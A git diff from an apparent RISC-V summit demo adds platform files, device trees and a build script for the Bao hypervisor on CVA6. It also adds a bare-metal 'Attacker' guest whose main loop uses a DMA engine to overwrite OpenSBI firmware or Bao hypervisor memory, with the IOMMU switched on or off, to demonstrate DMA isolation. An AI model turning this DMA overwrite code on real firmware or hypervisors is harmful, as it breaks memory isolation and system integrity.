for details. + * + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define TIMER_INTERVAL (TIME_S(1)) + +// IOMMU registers +#define IOMMU_BASE_ADDR (0x50010000ULL) +#define IOMMU_DDTP_OFF (0x10ULL) +#define IOMMU_DDTP_ADDR (IOMMU_BASE_ADDR + IOMMU_DDTP_OFF) +#define IOMMU_DDTP_MODE_MASK (0x0FULL) +#define IOMMU_DDTP_MODE_OFF (0x00ULL) +#define IOMMU_DDTP_MODE_BARE (0x01ULL) +#define IOMMU_DDTP_MODE_1LVL (0x02ULL) + +#define DMA_TRANSFER_SIZE (16) // 4KB, i.e. page size + +#define DMA_CONF_DECOUPLE 0 +#define DMA_CONF_DEBURST 0 +#define DMA_CONF_SERIALIZE 0 + +#define DMA_SRC_ATTACK (0x81000000ULL) +#define DMA_OPENSBI_BASE_ATTACK (0x80002700ULL) // 80038000 +#define DMA_BAO_BASE_ATTACK (0x80200000ULL) +#define DMA_ATTACK_LOOPS (400) + +#define TEST_TRAP 0 +#define TEST_PMP_SRC 0 +#define LOG_INFO 0 + +#define KNRM "\x1B[0m" +#define KRED "\x1B[31m" +#define KGRN "\x1B[32m" +#define KYEL "\x1B[33m" +#define KBLU "\x1B[34m" +#define KMAG "\x1B[35m" +#define KCYN "\x1B[36m" +#define KWHT "\x1B[37m" + +#if LOG_INFO == 1 +#define ASSERT(expr, msg) { \ + printf("ASSERT: %s %s", msg, (expr) ? KGRN "PASSED" KNRM : KRED "FAILED" KNRM); \ + printf("\r\n"); \ +} +# else +#define ASSERT(...) +#endif + +#define INIT(msg...) { \ + printf(KBLU "INIT: " KNRM msg ); \ + printf("\n"); \ +} + +#if LOG_INFO == 1 +#define INFO(msg...) { \ + printf("INFO: " msg ); \ + printf("\n"); \ +} +# else +#define INFO(...) +#endif + +# define VERBOSE(str...) { printf("VERBOSE: " str "\n");} + +#define BANNER\ + ".______ ___ ______ _______ __ __ _______ _______.___________.\n"\ + "| _ \\ / \\ / __ \\ / _____|| | | | | ____| / | |\n"\ + "| |_) | / ^ \\ | | | | | | __ | | | | | |__ | (----`---| |----`\n"\ + "| _ < / /_\\ \\ | | | | | | |_ | | | | | | __| \\ \\ | | \n"\ + "| |_) | / _____ \\ | `--' | | |__| | | `--' | | |____.----) | | | \n"\ + "|______/ /__/ \\__\\ \\______/ \\______| \\______/ |_______|_______/ |__| \n" + + + +spinlock_t print_lock = SPINLOCK_INITVAL; + +/* +* DMA configuration registers +*/ + +volatile uint64_t *dma_src = (volatile uint64_t *) DMA_SRC_ADDR(0); +volatile uint64_t *dma_dst = (volatile uint64_t *) DMA_DST_ADDR(0); +volatile uint64_t *dma_num_bytes = (volatile uint64_t *) DMA_NUMBYTES_ADDR(0); +volatile uint64_t *dma_conf = (volatile uint64_t *) DMA_CONF_ADDR(0); +volatile uint64_t *dma_nextid = (volatile uint64_t *) DMA_NEXTID_ADDR(0); +volatile uint64_t *dma_done = (volatile uint64_t *) DMA_DONE_ADDR(0); + +static inline void fence_i() { + asm volatile("fence.i" ::: "memory"); +} + +void uart_rx_handler(){ + printf("cpu%d: %s\n",get_cpuid(), __func__); + uart_clear_rxirq(); +} + +void ipi_handler(){ + printf("cpu%d: %s\n", get_cpuid(), __func__); + irq_send_ipi(1ull << (get_cpuid() + 1)); +} + +void timer_handler(){ + //printf("cpu%d: %s\n", get_cpuid(), __func__); + timer_set(TIMER_INTERVAL); + irq_send_ipi(1ull << (get_cpuid() + 1)); +} + +static void set_iommu_mode(uint64_t mode) +{ + volatile uint64_t *iommu_ddtp = (volatile uint64_t *) IOMMU_DDTP_ADDR; + uint64_t ddtp = *iommu_ddtp; + ddtp &= ~IOMMU_DDTP_MODE_MASK; + ddtp |= mode; + *iommu_ddtp = ddtp; +} + +void main(void){ + + static volatile bool master_done = false; + + // OpenSBI as default target + uint64_t dst = (uint64_t) DMA_OPENSBI_BASE_ATTACK; + uint64_t src = (uint64_t) DMA_SRC_ATTACK; + + if(cpu_is_master()){ + spin_lock(&print_lock); + // printf("Bao bare-metal guest Attacker\n"); + printf(BANNER); + spin_unlock(&print_lock); + + irq_set_handler(UART_IRQ_ID, uart_rx_handler); + irq_set_handler(TIMER_IRQ_ID, timer_handler); + irq_set_handler(IPI_IRQ_ID, ipi_handler); + uart_enable_rxirq(); + timer_set(TIMER_INTERVAL); + irq_enable(TIMER_IRQ_ID); + master_done = true; + } + irq_enable(UART_IRQ_ID); + irq_set_prio(UART_IRQ_ID, IRQ_MAX_PRIO); + irq_enable(IPI_IRQ_ID); + + /* + * Test DMA Registers + */ + + INFO("Test register read/write DMA\r\n"); + + // test register read/write + *dma_src = 0xDEAD; + *dma_dst = 0xBEEF; + *dma_num_bytes = 64; + *dma_conf = 7; // 0b111 + + + ASSERT(*dma_src == 0xDEAD, "src matches"); + ASSERT(*dma_dst == 0xBEEF, "dst matches"); + ASSERT(*dma_num_bytes == 64, "num_bytes matches"); + ASSERT(*dma_conf == 7, "dma_conf matches"); + + /* + * Main Attack Loop + */ + while(1) + { + + char attack = 255; + char attack_mode = 255; + + // attack selection + do + { + printf("\r\nSelect attack: \n"); + printf("\t1 - Firmware attack. \n"); + printf("\t2 - Hypervisor attack. \n"); + printf("Enter: \r\n"); + + while(attack == 255) attack = uart_getchar(); + if (!(attack == '1' || attack == '2')) + { + printf("\r\n Invalid choice !! \r\n"); + attack = 255; + } + } + while(attack != '1' && attack != '2'); + + // ack choice + printf("\r\nAttack chosen: %c \r\n", attack); + + // select protection + do + { + printf("\r\nSelect protection: \r\n"); + printf("\t1 - without IOMMU.\r\n"); + printf("\t2 - with IOMMU.\r\n"); + printf("Enter: \r\n"); + + while(attack_mode == 255) attack_mode = uart_getchar(); + if (!(attack_mode == '1' || attack_mode == '2')) + { + printf("\r\n Invalid choice !! \r\n"); + attack_mode = 255; + } + } + while(attack_mode != '1' && attack_mode != '2'); + + // ack selected protection + if (attack_mode == '1') + { + set_iommu_mode(IOMMU_DDTP_MODE_BARE); + printf("\r\nIOMMU disabled\n"); + } + else + { + set_iommu_mode(IOMMU_DDTP_MODE_1LVL); + printf("\r\nIOMMU enabled\n"); + } + + // setup destination address according to the target + if(attack == '2') + { + printf("\r\nAttacking Bao \r\n"); + dst = (uint64_t) DMA_BAO_BASE_ATTACK; + } + else + { + printf("\r\nAttacking Firmware \r\n"); + dst = (uint64_t) DMA_OPENSBI_BASE_ATTACK; + } + + fence_i(); + + // setup DMA transfer + *dma_src = (uint64_t) src; + *dma_num_bytes = DMA_TRANSFER_SIZE; + *dma_conf = (DMA_CONF_DECOUPLE << DMA_FRONTEND_CONF_DECOUPLE_BIT ) | + (DMA_CONF_DEBURST << DMA_FRONTEND_CONF_DEBURST_BIT ) | + (DMA_CONF_SERIALIZE << DMA_FRONTEND_CONF_SERIALIZE_BIT ); + + for (int i = 0; i < DMA_ATTACK_LOOPS; i++) + // for ( ; ; ) + { + *dma_dst = (uint64_t) dst; + printf("%x\n", *dma_dst); + + // launch transfer: read id + uint64_t transfer_id = *dma_nextid; + + // poll done register + while (*dma_done != transfer_id); + + // increment for next attack + dst = dst + DMA_TRANSFER_SIZE; + } + + for(int i = 0; i < 1000000; i++); + printf("\r\nUps... Attack Failed !! \r\n"); + printf("Try Again :) \r\n"); + } +} diff --git a/bao-baremetal-guest/src/platform/cva6/cva6.c b/bao-baremetal-guest/src/platform/cva6/cva6.c new file mode 100644 index 0000000..aa11854 --- /dev/null +++ b/bao-baremetal-guest/src/platform/cva6/cva6.c @@ -0,0 +1,37 @@ +#include +#include <8250_uart.h> + +#define CVA6_DEFAULT_UART_ADDR 0x10000000 +#define CVA6_DEFAULT_UART_FREQ 50000000 +#define CVA6_DEFAULT_UART_BAUDRATE 115200 +#define CVA6_DEFAULT_UART_REG_SHIFT 2 +#define CVA6_DEFAULT_UART_REG_WIDTH 4 + + +void uart_init(){ + uart8250_init(CVA6_DEFAULT_UART_ADDR, + CVA6_DEFAULT_UART_FREQ, + CVA6_DEFAULT_UART_BAUDRATE, + CVA6_DEFAULT_UART_REG_SHIFT, + CVA6_DEFAULT_UART_REG_WIDTH); +} + +void uart_putc(char c) +{ + uart8250_putc(c); +} + +char uart_getchar(void) +{ + return uart8250_getc(); +} + +void uart_enable_rxirq() +{ + uart8250_enable_rx_int(); +} + +void uart_clear_rxirq() +{ + uart8250_interrupt_handler(); +} diff --git a/bao-baremetal-guest/src/platform/cva6/inc/plat.h b/bao-baremetal-guest/src/platform/cva6/inc/plat.h new file mode 100644 index 0000000..6dfd9e4 --- /dev/null +++ b/bao-baremetal-guest/src/platform/cva6/inc/plat.h @@ -0,0 +1,10 @@ +#ifndef PLAT_H +#define PLAT_H + +#define PLAT_MEM_BASE 0x90000000 +#define PLAT_MEM_SIZE 0x4000000 + +#define PLAT_TIMER_FREQ (1000000ull) +#define UART_IRQ_ID (10) + +#endif diff --git a/bao-baremetal-guest/src/platform/cva6/plat.mk b/bao-baremetal-guest/src/platform/cva6/plat.mk new file mode 100644 index 0000000..1620d66 --- /dev/null +++ b/bao-baremetal-guest/src/platform/cva6/plat.mk @@ -0,0 +1,2 @@ +ARCH:=riscv +drivers:=8250_uart \ No newline at end of file diff --git a/bao-baremetal-guest/src/platform/cva6/sources.mk b/bao-baremetal-guest/src/platform/cva6/sources.mk new file mode 100644 index 0000000..1612bae --- /dev/null +++ b/bao-baremetal-guest/src/platform/cva6/sources.mk @@ -0,0 +1,2 @@ +plat_c_srcs:=cva6.c +plat_s_srcs:= diff --git a/bao-baremetal-guest/src/platform/imx8qm/imx8.c b/bao-baremetal-guest/src/platform/imx8qm/imx8.c new file mode 100644 index 0000000..b3e164d --- /dev/null +++ b/bao-baremetal-guest/src/platform/imx8qm/imx8.c @@ -0,0 +1,24 @@ +#include +#include + +volatile struct lpuart * const uart = (void*)0xff000000; + +void uart_init(){ + nxp_uart_init(uart); +} + +void uart_putc(char c){ + nxp_uart_putc(uart, c); +} + +char uart_getchar(){ + return nxp_uart_getchar(uart); +} + +void uart_enable_rxirq(){ + nxp_uart_enable_rxirq(uart); +} + +void uart_clear_rxirq(){ + nxp_uart_clear_rxirq(uart); +} \ No newline at end of file diff --git a/bao-baremetal-guest/src/platform/imx8qm/inc/plat.h b/bao-baremetal-guest/src/platform/imx8qm/inc/plat.h new file mode 100644 index 0000000..d633f56 --- /dev/null +++ b/bao-baremetal-guest/src/platform/imx8qm/inc/plat.h @@ -0,0 +1,9 @@ +#ifndef PLAT_H +#define PLAT_H + +#define PLAT_MEM_BASE 0x00000000 +#define PLAT_MEM_SIZE 0x1000000 + +#define UART_IRQ_ID (377) + +#endif diff --git a/bao-baremetal-guest/src/platform/imx8qm/plat.mk b/bao-baremetal-guest/src/platform/imx8qm/plat.mk new file mode 100644 index 0000000..e8511a0 --- /dev/null +++ b/bao-baremetal-guest/src/platform/imx8qm/plat.mk @@ -0,0 +1,3 @@ +ARCH:=armv8 +GIC_VERSION:=GICV3 +drivers:=nxp_uart diff --git a/bao-baremetal-guest/src/platform/imx8qm/sources.mk b/bao-baremetal-guest/src/platform/imx8qm/sources.mk new file mode 100644 index 0000000..9d944a2 --- /dev/null +++ b/bao-baremetal-guest/src/platform/imx8qm/sources.mk @@ -0,0 +1,2 @@ +plat_c_srcs:=imx8.c +plat_s_srcs:= diff --git a/bao-baremetal-guest/src/platform/qemu-aarch64-virt/inc/plat.h b/bao-baremetal-guest/src/platform/qemu-aarch64-virt/inc/plat.h new file mode 100644 index 0000000..517dcf7 --- /dev/null +++ b/bao-baremetal-guest/src/platform/qemu-aarch64-virt/inc/plat.h @@ -0,0 +1,9 @@ +#ifndef PLAT_H +#define PLAT_H + +#define PLAT_MEM_BASE 0x0 +#define PLAT_MEM_SIZE 0x8000000 + +#define UART_IRQ_ID 33 + +#endif diff --git a/bao-baremetal-guest/src/platform/qemu-aarch64-virt/plat.mk b/bao-baremetal-guest/src/platform/qemu-aarch64-virt/plat.mk new file mode 100644 index 0000000..109592e --- /dev/null +++ b/bao-baremetal-guest/src/platform/qemu-aarch64-virt/plat.mk @@ -0,0 +1,3 @@ +ARCH:=armv8 +GIC_VERSION:=GICV3 +drivers:=pl011_uart \ No newline at end of file diff --git a/bao-baremetal-guest/src/platform/qemu-aarch64-virt/sources.mk b/bao-baremetal-guest/src/platform/qemu-aarch64-virt/sources.mk new file mode 100644 index 0000000..df62e7d --- /dev/null +++ b/bao-baremetal-guest/src/platform/qemu-aarch64-virt/sources.mk @@ -0,0 +1,2 @@ +plat_c_srcs:=virt.c +plat_s_srcs:= diff --git a/bao-baremetal-guest/src/platform/qemu-aarch64-virt/virt.c b/bao-baremetal-guest/src/platform/qemu-aarch64-virt/virt.c new file mode 100644 index 0000000..6e21cb7 --- /dev/null +++ b/bao-baremetal-guest/src/platform/qemu-aarch64-virt/virt.c @@ -0,0 +1,32 @@ +#include + +Pl011_Uart *uart = (void*) 0xFF010000; + +void uart_init(void) +{ + pl011_uart_init(uart); + pl011_uart_enable(uart); + + return; +} + +void uart_putc(char c) +{ + pl011_uart_putc(uart, c); +} + +char uart_getchar(void) +{ + return pl011_uart_getc(uart); +} + +void uart_enable_rxirq(){ + +} + +void uart_clear_rxirq(){ + while(!(uart->flag & UART_FR_RXFE)) { + volatile char c = uart->data; + } + uart->isr_clear = 0xffff; +} \ No newline at end of file diff --git a/bao-baremetal-guest/src/platform/qemu-riscv64-virt/inc/plat.h b/bao-baremetal-guest/src/platform/qemu-riscv64-virt/inc/plat.h new file mode 100644 index 0000000..c1c8446 --- /dev/null +++ b/bao-baremetal-guest/src/platform/qemu-riscv64-virt/inc/plat.h @@ -0,0 +1,10 @@ +#ifndef PLAT_H +#define PLAT_H + +#define PLAT_MEM_BASE 0x80200000 +#define PLAT_MEM_SIZE 0x4000000 + +#define PLAT_TIMER_FREQ (10000000ull) //10 MHz +#define UART_IRQ_ID (10) + +#endif diff --git a/bao-baremetal-guest/src/platform/qemu-riscv64-virt/plat.mk b/bao-baremetal-guest/src/platform/qemu-riscv64-virt/plat.mk new file mode 100644 index 0000000..1620d66 --- /dev/null +++ b/bao-baremetal-guest/src/platform/qemu-riscv64-virt/plat.mk @@ -0,0 +1,2 @@ +ARCH:=riscv +drivers:=8250_uart \ No newline at end of file diff --git a/bao-baremetal-guest/src/platform/qemu-riscv64-virt/sources.mk b/bao-baremetal-guest/src/platform/qemu-riscv64-virt/sources.mk new file mode 100644 index 0000000..df62e7d --- /dev/null +++ b/bao-baremetal-guest/src/platform/qemu-riscv64-virt/sources.mk @@ -0,0 +1,2 @@ +plat_c_srcs:=virt.c +plat_s_srcs:= diff --git a/bao-baremetal-guest/src/platform/qemu-riscv64-virt/virt.c b/bao-baremetal-guest/src/platform/qemu-riscv64-virt/virt.c new file mode 100644 index 0000000..e0be3d8 --- /dev/null +++ b/bao-baremetal-guest/src/platform/qemu-riscv64-virt/virt.c @@ -0,0 +1,34 @@ +#include <8250_uart.h> + + +#define VIRT_UART16550_INTERRUPT 10 + +#define VIRT_UART16550_ADDR 0x10000000 +#define VIRT_UART_BAUDRATE 115200 +#define VIRT_UART_SHIFTREG_ADDR 1843200 + + +void uart_init(){ + uart8250_init(VIRT_UART16550_ADDR, VIRT_UART_SHIFTREG_ADDR, + VIRT_UART_BAUDRATE, 0, 1); +} + +void uart_putc(char c) +{ + uart8250_putc(c); +} + +char uart_getchar(void) +{ + return uart8250_getc(); +} + +void uart_enable_rxirq() +{ + uart8250_enable_rx_int(); +} + +void uart_clear_rxirq() +{ + uart8250_interrupt_handler(); +} diff --git a/bao-baremetal-guest/src/platform/rpi4/inc/plat.h b/bao-baremetal-guest/src/platform/rpi4/inc/plat.h new file mode 100644 index 0000000..f1c7c14 --- /dev/null +++ b/bao-baremetal-guest/src/platform/rpi4/inc/plat.h @@ -0,0 +1,8 @@ +#ifndef PLAT_H +#define PLAT_H + +#define PLAT_MEM_BASE 0x80000 +#define PLAT_MEM_SIZE 0x1000000 +#define UART_IRQ_ID (125) + +#endif diff --git a/bao-baremetal-guest/src/platform/rpi4/plat.mk b/bao-baremetal-guest/src/platform/rpi4/plat.mk new file mode 100644 index 0000000..7bc4e7b --- /dev/null +++ b/bao-baremetal-guest/src/platform/rpi4/plat.mk @@ -0,0 +1,3 @@ +ARCH:=armv8 +GIC_VERSION:=GICV2 +drivers:=8250_uart diff --git a/bao-baremetal-guest/src/platform/rpi4/rpi4.c b/bao-baremetal-guest/src/platform/rpi4/rpi4.c new file mode 100644 index 0000000..7e967f9 --- /dev/null +++ b/bao-baremetal-guest/src/platform/rpi4/rpi4.c @@ -0,0 +1,30 @@ +#include <8250_uart.h> + +#define VIRT_UART16550_ADDR 0xfe215040 +#define VIRT_UART_BAUDRATE 115200 +#define VIRT_UART_FREQ 3000000 + +void uart_init(){ + + uart8250_init(VIRT_UART16550_ADDR, VIRT_UART_FREQ, VIRT_UART_BAUDRATE, 0, 4); +} + +void uart_putc(char c) +{ + uart8250_putc(c); +} + +char uart_getchar(void) +{ + return uart8250_getc(); +} + +void uart_enable_rxirq() +{ + uart8250_enable_rx_int(); +} + +void uart_clear_rxirq() +{ + uart8250_interrupt_handler(); +} diff --git a/bao-baremetal-guest/src/platform/rpi4/sources.mk b/bao-baremetal-guest/src/platform/rpi4/sources.mk new file mode 100644 index 0000000..693d7b1 --- /dev/null +++ b/bao-baremetal-guest/src/platform/rpi4/sources.mk @@ -0,0 +1,2 @@ +plat_c_srcs:=rpi4.c +plat_s_srcs:= diff --git a/bao-baremetal-guest/src/platform/tx2/inc/plat.h b/bao-baremetal-guest/src/platform/tx2/inc/plat.h new file mode 100644 index 0000000..c10471d --- /dev/null +++ b/bao-baremetal-guest/src/platform/tx2/inc/plat.h @@ -0,0 +1,9 @@ +#ifndef PLAT_H +#define PLAT_H + +#define PLAT_MEM_BASE 0x0 +#define PLAT_MEM_SIZE 0x1000000 + +#define UART_IRQ_ID (144) + +#endif diff --git a/bao-baremetal-guest/src/platform/tx2/plat.mk b/bao-baremetal-guest/src/platform/tx2/plat.mk new file mode 100644 index 0000000..7bc4e7b --- /dev/null +++ b/bao-baremetal-guest/src/platform/tx2/plat.mk @@ -0,0 +1,3 @@ +ARCH:=armv8 +GIC_VERSION:=GICV2 +drivers:=8250_uart diff --git a/bao-baremetal-guest/src/platform/tx2/sources.mk b/bao-baremetal-guest/src/platform/tx2/sources.mk new file mode 100644 index 0000000..4ef72bd --- /dev/null +++ b/bao-baremetal-guest/src/platform/tx2/sources.mk @@ -0,0 +1,2 @@ +plat_c_srcs:=tx2.c +plat_s_srcs:= diff --git a/bao-baremetal-guest/src/platform/tx2/tx2.c b/bao-baremetal-guest/src/platform/tx2/tx2.c new file mode 100644 index 0000000..d4a4296 --- /dev/null +++ b/bao-baremetal-guest/src/platform/tx2/tx2.c @@ -0,0 +1,31 @@ +#include <8250_uart.h> + + +#define VIRT_UART16550_INTERRUPT 112 +#define VIRT_UART16550_ADDR 0x80000000 +#define VIRT_UART_BAUDRATE 115200 +#define VIRT_UART_FREQ 408000000 + +void uart_init(){ + uart8250_init(VIRT_UART16550_ADDR, VIRT_UART_FREQ, VIRT_UART_BAUDRATE, 0, 4); +} + +void uart_putc(char c) +{ + uart8250_putc(c); +} + +char uart_getchar(void) +{ + return uart8250_getc(); +} + +void uart_enable_rxirq() +{ + uart8250_enable_rx_int(); +} + +void uart_clear_rxirq() +{ + uart8250_interrupt_handler(); +} diff --git a/bao-baremetal-guest/src/platform/zcu102/inc/plat.h b/bao-baremetal-guest/src/platform/zcu102/inc/plat.h new file mode 100644 index 0000000..7c8f0cf --- /dev/null +++ b/bao-baremetal-guest/src/platform/zcu102/inc/plat.h @@ -0,0 +1,9 @@ +#ifndef PLAT_H +#define PLAT_H + +#define PLAT_MEM_BASE 0x0 +#define PLAT_MEM_SIZE 0x8000000 + +#define UART_IRQ_ID 53 + +#endif diff --git a/bao-baremetal-guest/src/platform/zcu102/plat.mk b/bao-baremetal-guest/src/platform/zcu102/plat.mk new file mode 100644 index 0000000..72ebe9e --- /dev/null +++ b/bao-baremetal-guest/src/platform/zcu102/plat.mk @@ -0,0 +1,3 @@ +ARCH:=armv8 +GIC_VERSION:=GICV2 +drivers:=zynq_uart diff --git a/bao-baremetal-guest/src/platform/zcu102/sources.mk b/bao-baremetal-guest/src/platform/zcu102/sources.mk new file mode 100644 index 0000000..bb4faf6 --- /dev/null +++ b/bao-baremetal-guest/src/platform/zcu102/sources.mk @@ -0,0 +1,2 @@ +plat_c_srcs:= zcu.c +plat_s_srcs:= diff --git a/bao-baremetal-guest/src/platform/zcu102/zcu.c b/bao-baremetal-guest/src/platform/zcu102/zcu.c new file mode 100644 index 0000000..3c71be1 --- /dev/null +++ b/bao-baremetal-guest/src/platform/zcu102/zcu.c @@ -0,0 +1,30 @@ +#include + +Xil_Uart *uart = (void*) 0xFF000000; + +void uart_init(void) +{ + xil_uart_init(uart); + xil_uart_enable(uart); + + return; +} + +void uart_putc(char c) +{ + xil_uart_putc(uart, c); +} + +char uart_getchar(void) +{ + return xil_uart_getc(uart); +} + +void uart_enable_rxirq(){ + xil_uart_enable_irq(uart, UART_ISR_EN_RTRIG); +} + +void uart_clear_rxirq(){ + xil_uart_clear_rxbuf(uart); + xil_uart_clear_irq(uart, 0xFFFFFFFF); +} \ No newline at end of file diff --git a/bao-baremetal-guest/src/platform/zcu104/inc/plat.h b/bao-baremetal-guest/src/platform/zcu104/inc/plat.h new file mode 100644 index 0000000..7c8f0cf --- /dev/null +++ b/bao-baremetal-guest/src/platform/zcu104/inc/plat.h @@ -0,0 +1,9 @@ +#ifndef PLAT_H +#define PLAT_H + +#define PLAT_MEM_BASE 0x0 +#define PLAT_MEM_SIZE 0x8000000 + +#define UART_IRQ_ID 53 + +#endif diff --git a/bao-baremetal-guest/src/platform/zcu104/plat.mk b/bao-baremetal-guest/src/platform/zcu104/plat.mk new file mode 100644 index 0000000..72ebe9e --- /dev/null +++ b/bao-baremetal-guest/src/platform/zcu104/plat.mk @@ -0,0 +1,3 @@ +ARCH:=armv8 +GIC_VERSION:=GICV2 +drivers:=zynq_uart diff --git a/bao-baremetal-guest/src/platform/zcu104/sources.mk b/bao-baremetal-guest/src/platform/zcu104/sources.mk new file mode 100644 index 0000000..bb4faf6 --- /dev/null +++ b/bao-baremetal-guest/src/platform/zcu104/sources.mk @@ -0,0 +1,2 @@ +plat_c_srcs:= zcu.c +plat_s_srcs:= diff --git a/bao-baremetal-guest/src/platform/zcu104/zcu.c b/bao-baremetal-guest/src/platform/zcu104/zcu.c new file mode 100644 index 0000000..3c71be1 --- /dev/null +++ b/bao-baremetal-guest/src/platform/zcu104/zcu.c @@ -0,0 +1,30 @@ +#include + +Xil_Uart *uart = (void*) 0xFF000000; + +void uart_init(void) +{ + xil_uart_init(uart); + xil_uart_enable(uart); + + return; +} + +void uart_putc(char c) +{ + xil_uart_putc(uart, c); +} + +char uart_getchar(void) +{ + return xil_uart_getc(uart); +} + +void uart_enable_rxirq(){ + xil_uart_enable_irq(uart, UART_ISR_EN_RTRIG); +} + +void uart_clear_rxirq(){ + xil_uart_clear_rxbuf(uart); + xil_uart_clear_irq(uart, 0xFFFFFFFF); +} \ No newline at end of file diff --git a/bao-baremetal-guest/src/sources.mk b/bao-baremetal-guest/src/sources.mk new file mode 100644 index 0000000..00a95c3 --- /dev/null +++ b/bao-baremetal-guest/src/sources.mk @@ -0,0 +1 @@ +src_c_srcs:= main.c diff --git a/bao-hypervisor b/bao-hypervisor new file mode 160000 index 0000000..b9722a5 --- /dev/null +++ b/bao-hypervisor @@ -0,0 +1 @@ +Subproject commit b9722a5f7a43cd333d5a28f1791f6d38c748cb23 diff --git a/build_all.sh b/build_all.sh new file mode 100755 index 0000000..b3140df --- /dev/null +++ b/build_all.sh @@ -0,0 +1,10 @@ +#!/bin/bash + +make -C bao-baremetal-guest clean +make -C bao-baremetal-guest CROSS_COMPILE=riscv64-unknown-elf- PLATFORM=cva6 + +make -C bao-hypervisor clean +make -C bao-hypervisor CROSS_COMPILE=riscv64-unknown-elf- PLATFORM=cva6 CONFIG=cva6-baremetal CONFIG_BUILTIN=y + +make -C opensbi clean +make -C opensbi CROSS_COMPILE=riscv64-unknown-linux-gnu- PLATFORM=fpga/ariane FW_PAYLOAD=y FW_PAYLOAD_PATH=/home/manuale97/my_repositories/demo_rvsummit_23/bao-hypervisor/bin/cva6/cva6-baremetal/bao.bin \ No newline at end of file diff --git a/dts/ariane-dual-core.dtb b/dts/ariane-dual-core.dtb new file mode 100644 index 0000000..e69de29 diff --git a/dts/culsans-bao-linux.dtb b/dts/culsans-bao-linux.dtb new file mode 100644 index 0000000000000000000000000000000000000000..9e0a9a765973a127d458b4a3816b82f445dc0a54 GIT binary patch literal 1727 zcmds1&1w`u5blXa2`c`e7Z-FPAR-yEt0qQId-vi!2bt~Z>^7M{yL;EHDC8n|^A++E z9z_rzz@zUVf+r6i#P92wo}EMwo-L^9`s$~vtERd?U-MQR z42m8=|D=|WeWM1Q!g{)qSFi?r5puv+A@`JmFmYi9&xVGe^MPJ9QKKKkgLctbIf%O%zB8q64STs2{$G+4@#)}3smf7 zz+WNX=wQw&ZQL_D_B22NqK&zFg&l5hZ4DACLDaXoDb(bpkn7}({}9nfx;6HQN2MI_ zHOQ>w3G32w=3*$P z!s%R%6RYAqqn^!FAs0esrQGjeJhNJ=r*2UxVblcSiNk2rH(%RCfm21Q(k4ru9K@B;rO|HDs9>E7IWtBT4oMY! a+jx{l^-_V;s!438de3=Dm+^C*qWs^xa~W~~ literal 0 HcmV?d00001 diff --git a/dts/culsans-bao-linux.dts b/dts/culsans-bao-linux.dts new file mode 100644 index 0000000..79441c3 --- /dev/null +++ b/dts/culsans-bao-linux.dts @@ -0,0 +1,164 @@ +/dts-v1/; + +/ { + #address-cells = <2>; + #size-cells = <2>; + compatible = "eth,ariane-bare-dev"; + model = "eth,ariane-bare"; + chosen { + stdout-path = "/soc/uart@10000000:115200"; + }; + cpus { + #address-cells = <1>; + #size-cells = <0>; + timebase-frequency = <25000000>; // 25 MHz + CPU0: cpu@0 { + clock-frequency = <50000000>; // 50 MHz + device_type = "cpu"; + reg = <0>; + status = "okay"; + compatible = "eth, ariane", "riscv"; + riscv,isa = "rv64imafdch"; + mmu-type = "riscv,sv39"; + tlb-split; + // HLIC - hart local interrupt controller + CPU0_intc: interrupt-controller { + #interrupt-cells = <1>; + interrupt-controller; + compatible = "riscv,cpu-intc"; + }; + }; + CPU1: cpu@1 { + clock-frequency = <50000000>; // 50 MHz + device_type = "cpu"; + reg = <1>; + status = "okay"; + compatible = "eth, ariane", "riscv"; + riscv,isa = "rv64imafdch"; + mmu-type = "riscv,sv39"; + tlb-split; + // HLIC - hart local interrupt controller + CPU1_intc: interrupt-controller { + #interrupt-cells = <1>; + interrupt-controller; + compatible = "riscv,cpu-intc"; + }; + }; + }; + memory@80200000 { + device_type = "memory"; + reg = <0x0 0x80200000 0x0 0x20000000>; + }; + // leds { + // compatible = "gpio-leds"; + // heartbeat-led { + // gpios = <&xlnx_gpio 1 0>; + // linux,default-trigger = "heartbeat"; + // retain-state-suspended; + // }; + // }; + L26: soc { + #address-cells = <2>; + #size-cells = <2>; + compatible = "eth,ariane-bare-soc", "simple-bus"; + ranges; + // clint@2000000 { + // compatible = "riscv,clint0"; + // interrupts-extended = <&CPU0_intc 3 &CPU0_intc 7 &CPU1_intc 3 &CPU1_intc 7>; + // // interrupts-extended = <&CPU0_intc 3 &CPU0_intc 7>; + // reg = <0x0 0x2000000 0x0 0xc0000>; + // reg-names = "control"; + // }; + PLIC0: interrupt-controller@c000000 { + #address-cells = <0>; + #interrupt-cells = <1>; + compatible = "riscv,plic0"; + interrupt-controller; + interrupts-extended = <&CPU0_intc 11 &CPU0_intc 9 &CPU1_intc 11 &CPU1_intc 9>; + // interrupts-extended = <&CPU0_intc 11 &CPU0_intc 9>; + reg = <0x0 0xc000000 0x0 0x4000000>; + riscv,max-priority = <7>; + riscv,ndev = <30>; + }; + // Specifying the interrupt controller in the devicetree is not necessary. + // Furthermore, the IRQ 65535 will cause a `hwirq 0xffff is too large` during + // Linux boot (occured with mainline linux 5.14.0). + // debug-controller@0 { + // compatible = "riscv,debug-013"; + // interrupts-extended = <&CPU0_intc 65535>; + // reg = <0x0 0x0 0x0 0x1000>; + // reg-names = "control"; + // }; + uart@10000000 { + compatible = "ns16550a"; + reg = <0x0 0x10000000 0x0 0x1000>; + clock-frequency = <50000000>; + current-speed = <115200>; + interrupt-parent = <&PLIC0>; + interrupts = <1>; + reg-shift = <2>; // regs are spaced on 32 bit boundary + reg-io-width = <4>; // only 32-bit access are supported + }; + // timer@18000000 { + // compatible = "pulp,apb_timer"; + // interrupts = <0x00000004 0x00000005 0x00000006 0x00000007>; + // reg = <0x00000000 0x18000000 0x00000000 0x00001000>; + // interrupt-parent = <&PLIC0>; + // reg-names = "control"; + // }; + // xps-spi@20000000 { + // compatible = "xlnx,xps-spi-2.00.b", "xlnx,xps-spi-2.00.a"; + // #address-cells = <1>; + // #size-cells = <0>; + // interrupt-parent = <&PLIC0>; + // interrupts = < 2 2 >; + // reg = < 0x0 0x20000000 0x0 0x1000 >; + // xlnx,family = "kintex7"; + // xlnx,fifo-exist = <0x1>; + // xlnx,num-ss-bits = <0x1>; + // xlnx,num-transfer-bits = <0x8>; + // xlnx,sck-ratio = <0x4>; + + // mmc@0 { + // compatible = "mmc-spi-slot"; + // reg = <0>; + // spi-max-frequency = <12500000>; + // voltage-ranges = <3300 3300>; + // disable-wp; + // }; + + // // mmc-slot@0 { + // // compatible = "fsl,mpc8323rdb-mmc-slot", "mmc-spi-slot"; + // // reg = <0>; //Chip select 0 + // // spi-max-frequency = <12500000>; + // // 